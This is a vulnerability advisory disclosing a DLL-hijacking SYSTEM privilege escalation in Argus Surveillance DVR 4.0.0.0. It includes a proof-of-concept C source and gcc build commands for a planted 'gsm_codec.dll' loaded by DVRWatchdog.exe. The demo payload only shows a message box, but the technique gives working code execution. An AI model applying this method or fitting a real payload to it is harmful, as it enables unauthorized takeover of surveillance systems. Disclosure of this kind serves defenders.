Argus Surveillance DVR 4.0.0.0 SYSTEM Privilege Escalation

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/ARGUS-SURVEILLANCE-DVR-v4-SYSTEM-PRIVILEGE-ESCALATION.txt  
[+] ISR: ApparitionSec   
  
  
Greetz: ***Greetz: indoushka | Eduardo | GGA***  
  
  
[Vendor]  
www.argussurveillance.com  
  
  
  
[Product]  
Argus Surveillance DVR - 4.0.0.0  
  
Our DVR software provides scheduled, continuous or activated upon motion detection video recording. You can monitor unlimited number of cameras, through Internet or on-site.  
When our surveillance software detects motion in the monitored area, it sounds alarm, e-mails captured images, or records video.  
This is security surveillance IP camera software. It has features to place image overlays and date/time stamps, adjust picture size / quality, and Pan/Tilt/Zoom control.  
  
  
[Vulnerability Type]  
SYSTEM Privilege Escalation  
  
  
  
[CVE Reference]  
N/A  
  
  
[Security Issue]  
Argus Surveillance DVR 4.0.0.0 devices allow Trojan File SYSTEM Privilege Escalation.  
Placing a Trojan File DLL named "gsm_codec.dll" in Argus application directory will lead to arbitrary code execution with SYSTEM integrity.  
  
  
[Affected Component]  
DVRWatchdog.exe  
  
  
[Exploit/POC]  
create DLL 32bit DLL named "gsm_codec.dll" and place in App Dir, launch Argus DVR tada! your now SYSTEM.  
  
#include <windows.h>  
  
/* hyp3rlinx */  
  
/*  
gcc -c -m32 gsm_codec.c  
gcc -shared -m32 -o gsm_codec.dll gsm_codec.o  
*/  
  
void systemo(){  
MessageBox( 0, "3c184981367094fce3ab70efc3b44583" , "philbin :)" , MB_YESNO + MB_ICONQUESTION );  
}  
  
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){  
switch(fdwReason){  
case DLL_PROCESS_ATTACH:{  
systemo();  
break;  
}  
case DLL_PROCESS_DETACH:{  
systemo();  
break;  
}  
case DLL_THREAD_ATTACH:{  
systemo();  
break;  
}  
case DLL_THREAD_DETACH:{  
systemo();  
break;  
}  
}  
  
return TRUE;  
}  
  
  
  
[Video POC URL]  
https://vimeo.com/287115698  
  
  
  
[Network Access]  
Local  
  
  
[Severity]  
High  
  
  
  
[Disclosure Timeline]  
Vendor Notification: August 17, 2018  
Second attempt: August 21, 2018  
CVE Assigned Mitre: August 23, 2018  
August 28, 2018 : Public Disclosure  
  
  
  
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or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
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